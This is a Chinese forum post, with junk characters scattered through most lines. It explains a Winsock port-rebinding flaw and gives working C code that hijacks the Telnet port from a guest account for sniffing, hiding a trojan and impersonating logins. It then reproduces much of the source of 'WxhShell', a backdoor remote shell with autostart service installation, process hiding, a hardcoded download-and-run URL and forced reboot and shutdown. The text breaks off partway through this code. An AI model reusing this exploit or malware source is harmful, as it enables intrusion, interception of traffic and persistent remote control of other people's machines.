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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  \Awqr:A&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y#nyH0U  
Nig)!4CG  
  saddr.sin_family = AF_INET; < [17&F0  
!3"Hn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dAaxbP|  
o KY0e&5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2W/*1K}  
aOEW$%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l 1BAW$  
qIO)<5\[%d  
  这意味着什么?意味着可以进行如下的攻击: ;F/s!bupCM  
99[v/L>F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jtwe9  
=[)2DJC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <}%gZ:Z6g  
{y<E_y x1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k vt^s0T8Q  
)<T2J0*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~S0T+4$  
l i%8X.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1Nz#,IdQ  
$ \ I|6[P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h|EHK!<"8  
x`K"1E{2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '~xjaa;.  
:ZXaJ!  
  #include 7[M@;$  
  #include Hc\oR(L  
  #include irn }.e  
  #include    -)e(Qt#ewl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %,udZyO3uR  
  int main() WwLV^m]  
  { &Z+.FTo  
  WORD wVersionRequested; NDG?X s [2  
  DWORD ret; djDE0-QxcR  
  WSADATA wsaData; $-n_$jLY  
  BOOL val; jZ?^ |1  
  SOCKADDR_IN saddr; UFj/Y;  
  SOCKADDR_IN scaddr; iv6bXV'N  
  int err; 3`ze<K((  
  SOCKET s; %;O# y3,  
  SOCKET sc; okBaQH2lUl  
  int caddsize; B,A\/%<  
  HANDLE mt; rTeADu_vf  
  DWORD tid;   "':SWKuMx  
  wVersionRequested = MAKEWORD( 2, 2 ); px^brzLQo  
  err = WSAStartup( wVersionRequested, &wsaData ); oN(F$Nvk  
  if ( err != 0 ) { ;!<@Fm9W  
  printf("error!WSAStartup failed!\n"); 1tH#QZIT  
  return -1; z| zd=3c  
  } uJJP<mDgA  
  saddr.sin_family = AF_INET; DjiWg(X  
   =fI0q7]ndz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 bE"J&;|  
5pq9x4&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7zu3o  
  saddr.sin_port = htons(23); l i2/"~l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "IoY$!Hk  
  { p5bM/{DP;K  
  printf("error!socket failed!\n"); $# b  
  return -1; ,.,Y{CP  
  } V V Aw y6  
  val = TRUE; TA+/35^?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <}AmzeHr+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \6,Z<.I  
  { ypY7uYO^"  
  printf("error!setsockopt failed!\n"); %? z;'Y7D  
  return -1; fXAD~7T*s  
  } HjX)5@"o(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ''CowI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 QtfLJ5vi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y= ^o {C6  
= 8\'AU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -V}ZbXJD  
  { &fifOF#[ e  
  ret=GetLastError(); [&{NgUgu"  
  printf("error!bind failed!\n"); Wu693<  
  return -1; P)hawH=  
  } :$oiP  
  listen(s,2); s *<T5Z  
  while(1) `wNJ*`  
  { i$4lBy_2  
  caddsize = sizeof(scaddr); A Zv| |8p  
  //接受连接请求 "C9.pdP\8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [,mcvO;  
  if(sc!=INVALID_SOCKET) Ht%O9v  
  { :']O4v#^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E=~Ahkg  
  if(mt==NULL) "QV1G'  
  { SrXuiiK  
  printf("Thread Creat Failed!\n"); r A9Rz^;xa  
  break; Q37zBC 0  
  } `O}bPwa{>  
  } Z/I`XPmk  
  CloseHandle(mt); R]_fe4Y0  
  } bqUQadDB  
  closesocket(s); 0"=}d y  
  WSACleanup(); 3hNb ?  
  return 0; :n(!,  
  }   K.\-  
  DWORD WINAPI ClientThread(LPVOID lpParam) -!ERe@k(  
  { JT 5+d ,  
  SOCKET ss = (SOCKET)lpParam; , -S n  
  SOCKET sc; o`[X _  
  unsigned char buf[4096];  %L gfi  
  SOCKADDR_IN saddr; vX}mwK8  
  long num; `jCq`-.  
  DWORD val; SlUt&+)  
  DWORD ret; 2N_9S?a3sK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^ px)W,O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `H\NJ,  
  saddr.sin_family = AF_INET; \fD[Ej  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Jf8AKj3  
  saddr.sin_port = htons(23);  tD}HL_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8_ _C T  
  { 4$b9<:M_  
  printf("error!socket failed!\n"); .@]M'S^1  
  return -1; !<MW*7P=  
  } =DXvt5G  
  val = 100; }#U3vMx(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dLTA21b#  
  { \)9R1zp/x  
  ret = GetLastError(); >.#tNFAs  
  return -1; 'P~6_BW  
  } =u]FKY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eFCXjM  
  { t8FgQ)tk  
  ret = GetLastError(); MFLw^10(T  
  return -1; ~b{j`T  
  } u+uu?.bM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <(-4?"1  
  { )ur&Mnmm  
  printf("error!socket connect failed!\n"); X+XbIbUuL  
  closesocket(sc); nzORG  
  closesocket(ss); ecy41y'~:  
  return -1; &,@wLy^ T  
  } vR"<:r47?  
  while(1) hTbot^/  
  { t9 m],aH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 esQRg~aCGy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 tc<t%]c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %epK-q9[  
  num = recv(ss,buf,4096,0); ZI#Xh5  
  if(num>0) $U/_8^6B0  
  send(sc,buf,num,0);  !#8=tO  
  else if(num==0) },LW@Z}  
  break; K1>(Fs$  
  num = recv(sc,buf,4096,0); k|T0Bly3P  
  if(num>0) kXbdR  
  send(ss,buf,num,0); abM4G  
  else if(num==0) Y_<(~eN`  
  break; CDM==Xa*  
  } \M`fkR,,'  
  closesocket(ss); 4\yKd8I  
  closesocket(sc); wY j~(P"  
  return 0 ; 7oI^shk  
  } :WBl0`kW]4  
f*SAbDE  
/1q] D8  
========================================================== mD p|EXN  
MhpR^VM'.  
下边附上一个代码,,WXhSHELL q<cpU'-#  
3 e9fziQ~  
========================================================== =F}e>D  
ba   
#include "stdafx.h" O(E-ox~q  
v+Q# O[  
#include <stdio.h> (_lc< Bj  
#include <string.h> 'u2Qq"d+  
#include <windows.h> Sm%MoFf  
#include <winsock2.h> 2tqO%8`_  
#include <winsvc.h> QYL ';  
#include <urlmon.h> BOp&s>hI  
LvNk:99:<  
#pragma comment (lib, "Ws2_32.lib")  VgNt  
#pragma comment (lib, "urlmon.lib") [2,u:0"  
jTx,5s-  
#define MAX_USER   100 // 最大客户端连接数 [Pt5c6L:  
#define BUF_SOCK   200 // sock buffer V-w[\u  
#define KEY_BUFF   255 // 输入 buffer ynN[N(m#  
1xo<V5  
#define REBOOT     0   // 重启 prY9SQd  
#define SHUTDOWN   1   // 关机 ]X)EO49  
^$y_~z3o#7  
#define DEF_PORT   5000 // 监听端口 BE }qwP^  
Do|`wpR  
#define REG_LEN     16   // 注册表键长度 8Q1){M9 '  
#define SVC_LEN     80   // NT服务名长度 :8aIj_qds  
K9*#H(  
// 从dll定义API .W&rcqy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y|X\f!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E 2DTE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KV0e^c;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \(LHcvbb  
F#^.L|d4  
// wxhshell配置信息 ASLRP  
struct WSCFG { O!uB|*  
  int ws_port;         // 监听端口 f:TC;K  
  char ws_passstr[REG_LEN]; // 口令 3;`93TO{  
  int ws_autoins;       // 安装标记, 1=yes 0=no @]HV:7<q  
  char ws_regname[REG_LEN]; // 注册表键名 JqH2c=}-  
  char ws_svcname[REG_LEN]; // 服务名 OX4+1@$tk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EQ>bwEG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .-N9\GlJ,d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;r[=q u\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xTM&SVNbL_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [zR raG\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JCZJ\f*EZ  
xZmKKKd0*  
}; ]IJ.}  
b,G+=&6u  
// default Wxhshell configuration hk&p+NV!  
struct WSCFG wscfg={DEF_PORT, 6|LDb"Rvy  
    "xuhuanlingzhe",  N _r*Ig  
    1, ap9eQsC  
    "Wxhshell", zT~ GBC-IX  
    "Wxhshell", 1)NX;CN  
            "WxhShell Service", (vjQF$Hp  
    "Wrsky Windows CmdShell Service", VPg`vI$(X  
    "Please Input Your Password: ", tO?*x/XC{  
  1, Q ;5'I3w  
  "http://www.wrsky.com/wxhshell.exe", k< W]VS3N  
  "Wxhshell.exe" ld[]f*RuW  
    }; NnSI=M  
Dl/UZ@8pl  
// 消息定义模块 ce=6EYl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; miHW1h[=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zAB-kE\ )  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [;5HI'px  
char *msg_ws_ext="\n\rExit."; qg6Hk:^r  
char *msg_ws_end="\n\rQuit."; M7,|+W/RK  
char *msg_ws_boot="\n\rReboot..."; +U%lWE%  
char *msg_ws_poff="\n\rShutdown..."; _z m<[0(  
char *msg_ws_down="\n\rSave to "; HA"dw2 |  
xYt{=  
char *msg_ws_err="\n\rErr!"; <WBGPzVZE  
char *msg_ws_ok="\n\rOK!"; YQX>)'  
D?5W1m]E,s  
char ExeFile[MAX_PATH]; ?67j+)  
int nUser = 0; |_[mb(<|  
HANDLE handles[MAX_USER]; w6Tb<ja  
int OsIsNt; -3_kS/  
eB$v'9S8/  
SERVICE_STATUS       serviceStatus; OR"ni  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [AX).b  
#0Oqw=F  
// 函数声明 p dnL~sv  
int Install(void); N'm:V  
int Uninstall(void); web&M!-  
int DownloadFile(char *sURL, SOCKET wsh); bJB:]vs$  
int Boot(int flag); =AcbX_[  
void HideProc(void); 9fl !CG  
int GetOsVer(void); {Y'_QW1:2  
int Wxhshell(SOCKET wsl); !FpMO`m  
void TalkWithClient(void *cs); 4 <]QMA0  
int CmdShell(SOCKET sock); $ 9QVl  
int StartFromService(void); }>frK#S  
int StartWxhshell(LPSTR lpCmdLine); " 31C8  
9CBB,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FT (EH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [V jd )%  
vlj|[joXw  
// 数据结构和表定义 4?yc/F=kI  
SERVICE_TABLE_ENTRY DispatchTable[] = ;-]f4O8  
{ )s=z i"  
{wscfg.ws_svcname, NTServiceMain}, tfv]AC7x  
{NULL, NULL} Tu/JhP/g,`  
}; l3iL.?&Pa  
"F[VqqD  
// 自我安装 =C3l:pGMB;  
int Install(void) x-Mp6  
{ 6gR=e+  
  char svExeFile[MAX_PATH]; [[ s k  
  HKEY key; Y?%6af+  
  strcpy(svExeFile,ExeFile); T. ` %1S  
U5Ho? `<  
// 如果是win9x系统,修改注册表设为自启动 >MP PYVn7  
if(!OsIsNt) { O &w$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wH${q@z_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 06Hn:IT18  
  RegCloseKey(key); m/6oQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BxZop.zwE(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vCpi|a_eCu  
  RegCloseKey(key); ([9h.M6v  
  return 0; .PAkW2\#  
    } i*U\~CZjT  
  } VJR'B={h  
} ]7u8m[@  
else { .ySesN: C~  
XIp9=jhSR  
// 如果是NT以上系统,安装为系统服务 fnmZJJ,Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LiB0]+wzj  
if (schSCManager!=0) )Y *?VqZn  
{ *V"cu  
  SC_HANDLE schService = CreateService ZXU e4@qfl  
  ( l E&hw  
  schSCManager, 'g=yJ  
  wscfg.ws_svcname, RD_;us@&&*  
  wscfg.ws_svcdisp, vy"Lsr3  
  SERVICE_ALL_ACCESS, xwRnrWd^6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M"9 zK[cz  
  SERVICE_AUTO_START, q90S>c,  
  SERVICE_ERROR_NORMAL, NI^Y%N  
  svExeFile, 2Qy!Aa  
  NULL, yZ!Eu#81  
  NULL, }zobIfIF  
  NULL, &J~S  $  
  NULL, \ qs6%  
  NULL W#lvH=y  
  ); Bw#ubQJ8}  
  if (schService!=0) I Mv^ 9T:  
  { x# YOz7.  
  CloseServiceHandle(schService); VmUM _Q~  
  CloseServiceHandle(schSCManager); x!$,Hcph,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V.-?aXQ*  
  strcat(svExeFile,wscfg.ws_svcname); j qdI=!H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G1nW{vce  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i L m1l  
  RegCloseKey(key); E%;'3Qykva  
  return 0; &iGl)dDr  
    } Gqia@>T4*N  
  } W?l .QQk  
  CloseServiceHandle(schSCManager); vfbe=)}[  
} v:HgpZo+  
} b?bYPN+  
fN4p G*D  
return 1; e N-{  
} ?X9 =4Z~w  
3=<iGX"z  
// 自我卸载 Hwc{%.%ae  
int Uninstall(void) 52["+1g\  
{ hL3,/^;E,  
  HKEY key; N{`l?t0I  
FSQ&J|O  
if(!OsIsNt) { M|v.5l#   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ipzUF o<w  
  RegDeleteValue(key,wscfg.ws_regname); @NH Ruk+  
  RegCloseKey(key); &=?`;K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m+m6"yE#_  
  RegDeleteValue(key,wscfg.ws_regname); "aBd0i&  
  RegCloseKey(key); z67=v9+7  
  return 0; w7Pe< vT  
  } x@Y2jM  
} >=`c [=:Z_  
} 4bxkp3~h;  
else {  vV[dJ%  
5"gRz9Ta`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0%qUTGj  
if (schSCManager!=0) (En\odbvt  
{ #VOjnc/rW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (wlsn6h  
  if (schService!=0) z8j(SI;3  
  { qE`=^  
  if(DeleteService(schService)!=0) { V- cuG.  
  CloseServiceHandle(schService); #pe{:f?  
  CloseServiceHandle(schSCManager); @\D D|o67  
  return 0; Ad,r(0a LZ  
  } hKTg~y^  
  CloseServiceHandle(schService); >4ct[fW+  
  }  `JE>GZ Y  
  CloseServiceHandle(schSCManager); Me}TW!GC  
} eTF8B<?  
} PD}R7[".>  
_RW[]MN3*  
return 1; %)/f; T6  
} ).]m@g:ew  
{\aSEE /'  
// 从指定url下载文件 VBX# !K1Q  
int DownloadFile(char *sURL, SOCKET wsh) 6oP{P_Pxi  
{ |x6mkSf]ke  
  HRESULT hr; 8Wj=|Ow-q  
char seps[]= "/"; fMQ*2zGu95  
char *token; UC1!J =f  
char *file; +r0eTP=zf  
char myURL[MAX_PATH]; 4{DeF@@  
char myFILE[MAX_PATH]; bS<@Rd{g  
Jrk^J6aa  
strcpy(myURL,sURL); }R1`ThTM  
  token=strtok(myURL,seps); gr 5]5u  
  while(token!=NULL) j>o +}p?3I  
  { bJ|?5  
    file=token; =GQ^uVf1  
  token=strtok(NULL,seps); y^AA#kk  
  } '!-?  
ys/mv'#>  
GetCurrentDirectory(MAX_PATH,myFILE); B\ _u${C  
strcat(myFILE, "\\"); ~& 5&s  
strcat(myFILE, file); Su"_1~/2S  
  send(wsh,myFILE,strlen(myFILE),0); lkfFAwnc  
send(wsh,"...",3,0); k,7+=.6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5ZA%,pH>Jq  
  if(hr==S_OK) PEBFN  
return 0; ?nZ <?  
else Z% ;4Ed  
return 1; >'6GcnEb4.  
Nr"N\yOA/  
} -m160k3  
aE BP9RX}z  
// 系统电源模块 {% _j~  
int Boot(int flag) M_1Tx  
{ e_=pspnZ  
  HANDLE hToken; Z02s(y=k1  
  TOKEN_PRIVILEGES tkp; 16QbB;  
z`/.v&<>V  
  if(OsIsNt) { #Q3PzDfj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F36ViN\b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yb{Q,Dz  
    tkp.PrivilegeCount = 1; I/Jp,~JT*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r%l%yCH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mY`]33??v  
if(flag==REBOOT) { HqdJdWl#"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {(OIu]:  
  return 0; e5ru:#P.p  
} *>'2$me=  
else { cHL]y0>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hRr1#'&  
  return 0; Y_@"v#,  
} A$~xG(  
  } =u8D!AxT  
  else { fT3*>^Uv  
if(flag==REBOOT) { v'Vt .m&9&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) # \; >8  
  return 0; 9>Uq$B  
} (s"iC:D6U  
else { C6d]tLE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'yd@GQM&  
  return 0; 90T%T2K  
} yIIETE  
} oM<!I0"gC+  
A*;?U2  
return 1; cVay=5].  
} o}=.  
?Hi}nsw  
// win9x进程隐藏模块 sc8DY!|OYN  
void HideProc(void) CofH}-  
{ ns#~}2"d  
_Dj<Eu_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 23-t$y]  
  if ( hKernel != NULL ) h/Hl?O8[  
  { D;zWksq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5!AV!A_Jp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d;~ 3P  
    FreeLibrary(hKernel); =dM.7$6) R  
  } m1-\qt-yy  
*AH^%!kVP  
return; [8@kxCq  
} i u1KRuaF[  
GVG!sM mnX  
// 获取操作系统版本 8PBU~mr  
int GetOsVer(void) U,<]J*b(@4  
{ C ]'g:93L  
  OSVERSIONINFO winfo; "#pzZ)Zh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PXosFz~  
  GetVersionEx(&winfo); S= -M3fP~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V5a?=vK9  
  return 1; sS2_-X[_  
  else vUYJf99B  
  return 0; SFn 3$ rh  
} 8?7kIin  
O4EIE)c  
// 客户端句柄模块 a*Ss -y  
int Wxhshell(SOCKET wsl) R zS|dGNQE  
{ bar0{!Y"  
  SOCKET wsh; st?gA"5w  
  struct sockaddr_in client; $;Vc@mYGW;  
  DWORD myID; i3Hz"Qs;  
Sty! atEWT  
  while(nUser<MAX_USER) jJ a V  
{ lwOf)jK:J  
  int nSize=sizeof(client); s>|Z7[*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0e+W/Tq  
  if(wsh==INVALID_SOCKET) return 1; >5;N64]!)  
Y{Da+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e&QS#k  
if(handles[nUser]==0) /vjGjb=3U  
  closesocket(wsh); s=d+GMa  
else yGiP[d|tRc  
  nUser++; W]]q=c%2  
  } g5#CN:%f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Gg%tVQu  
fcRj  
  return 0; p jKt:R}  
} mG)8U{L  
b~_B [cf  
// 关闭 socket 4:vTxNs&S  
void CloseIt(SOCKET wsh) z)lM2x>|*  
{ pkXv.D`  
closesocket(wsh); HU &)  
nUser--; 3;*z3;#}  
ExitThread(0); H9RGU~q4s[  
} jfUJ37zNZr  
b5j*xZv  
// 客户端请求句柄 XGfzEld2"  
void TalkWithClient(void *cs) {A|bBg1!  
{ =fl%8"%N&  
 SLkuT`*  
  SOCKET wsh=(SOCKET)cs; XHsd-  
  char pwd[SVC_LEN]; }^"0T-ua  
  char cmd[KEY_BUFF]; 1SW4Y  
char chr[1]; |q;Al z{  
int i,j; rA,CQypo  
Kax#OYLpg  
  while (nUser < MAX_USER) { K@HQrv<  
\a\= gn   
if(wscfg.ws_passstr) { JO2xT#V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `=79i$,,t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ap%O~wA'  
  //ZeroMemory(pwd,KEY_BUFF); fk>l{W}e)  
      i=0; Dl%?OG<  
  while(i<SVC_LEN) { 9x=3W?K:,  
S'o ]=&  
  // 设置超时 o{V#f_o  
  fd_set FdRead; b M"fk&  
  struct timeval TimeOut; 2MuO*.9D  
  FD_ZERO(&FdRead); ga-{!$b*  
  FD_SET(wsh,&FdRead); HsnG4OE  
  TimeOut.tv_sec=8; \c{R <Hh  
  TimeOut.tv_usec=0; uPkb, :6~Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gn59 yG!4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u_.HPA  
]:&n-&@L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^'vIOq-1v  
  pwd=chr[0]; B7 HQR{t  
  if(chr[0]==0xd || chr[0]==0xa) { '[nmFCG%m*  
  pwd=0; wcZbmJ:  
  break; H"+wsM^@  
  } exQ#<x*  
  i++; x;j{} %  
    } ==N` !+  
66Gx.tE  
  // 如果是非法用户,关闭 socket [Ct=F|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); as r=m{C"  
} R2 lXTW*  
OV[`|<C '  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); > \3ah4"o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &~#iIk~%  
DLi?'K3t  
while(1) { Vclr2]eV4O  
EMlIxpCn:  
  ZeroMemory(cmd,KEY_BUFF); "jR]MZ  
>,"sHm}l%  
      // 自动支持客户端 telnet标准   ,=|4:F9  
  j=0; ` W4dx&  
  while(j<KEY_BUFF) { ne4c %?>t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CWi8Fv  
  cmd[j]=chr[0]; 0(gq; H5x'  
  if(chr[0]==0xa || chr[0]==0xd) { W"Q!|#;l.  
  cmd[j]=0; E-fr}R}  
  break; ',ZF5T5z@  
  } 2n|CD|V$ux  
  j++; DyfsTx  
    } oG_C?(7>  
QU T"z'  
  // 下载文件 O*G1 QX  
  if(strstr(cmd,"http://")) { l~J*' m2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hx %$ X  
  if(DownloadFile(cmd,wsh)) ?TpUf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /p)F>WR  
  else & [_ZXVva~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P~RhUKfd  
  } -7%X]  
  else { ^ve14mbF#.  
ff E#^|  
    switch(cmd[0]) { GK?4@<fY  
  .9h)bf+  
  // 帮助 5G(E&>~  
  case '?': { t> . Fl-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3b!,D  
    break; c?K~/bx.  
  } 40#9]=;}  
  // 安装 SEM8`lnu  
  case 'i': { 5HKW"=5Cf  
    if(Install()) .Evy_o\^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6~8F!b2  
    else eLfvMPVo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nt ,7u(  
    break; *1^$.Q&  
    } -M4p\6)Ge  
  // 卸载 >72JV; W]  
  case 'r': { 30Drrno7Io  
    if(Uninstall()) ONX8}Ob~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >7b)y  
    else ZFvyL8o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mR+Jws'  
    break; *1A&'T2  
    } a#0;==#  
  // 显示 wxhshell 所在路径 3fr^ T  
  case 'p': { OgCy4_a[f  
    char svExeFile[MAX_PATH]; wLJ]&puwm  
    strcpy(svExeFile,"\n\r"); tous#(&pK  
      strcat(svExeFile,ExeFile); S8vV!xO  
        send(wsh,svExeFile,strlen(svExeFile),0); XOy2lJ/  
    break; w%a8XnW]1  
    } ~/-eyxLTm  
  // 重启 -rSIBc:$8  
  case 'b': { {f DTSr?/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vF4]ux&  
    if(Boot(REBOOT)) U \oy8FZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kV&9`c+  
    else { aeP[+I9  
    closesocket(wsh); u[oUCTY  
    ExitThread(0); h#qN+qt}  
    } OqUr9?+  
    break; Bv9kSu9'~  
    } F{m{d?:OA  
  // 关机 1|| +6bRP  
  case 'd': { z[nS$]u  
